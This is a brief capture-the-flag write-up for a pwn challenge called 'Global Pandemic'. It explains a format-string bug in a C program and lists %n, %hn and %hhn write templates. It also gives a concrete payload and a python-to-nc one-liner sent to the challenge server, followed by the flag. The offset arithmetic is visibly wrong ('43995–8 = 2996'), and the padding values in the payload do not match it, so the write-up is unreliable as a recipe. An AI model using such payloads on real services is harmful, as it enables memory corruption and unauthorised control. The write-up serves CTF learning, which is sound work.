Capture The Talent — Pwn Write-up : Global Pandemic

Global Pandemic

Global_Pandemic.c

The Vulnerability

Compilation of the c code with clang.

Pre-requirements

Address of admin variable.

Offset

Offset of our input in stack.

Payload

  • [admin_address]%[value]c%[index]$n
  • [admin_address][admin_address+2]%[value]c%[index]$hn%[value]c%[index]$hn
  • [admin_address][admin_address+1][admin_address+2][admin_address+3]%[value]c%[index]$hhn%[value]c%[index]$hhn%[value]c%[index]$hhn%[value]c%[index]$hhn
0xb4db — 43995–8 = 2996
\x2c\xc0\x04\x08\x2e\xc0\x04\x08%43995c%12$hn%2296c%13$hn
$ python -c “print(‘\x2c\xc0\x04\x08\x2e\xc0\x04\x08%43995c%12\$hn%2296c%13\$hn’)” | nc 18.134.175.139 5555[snip]CTT{H0p3_y0u_h4d_fun_w1th_7h1s_1_XD}

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store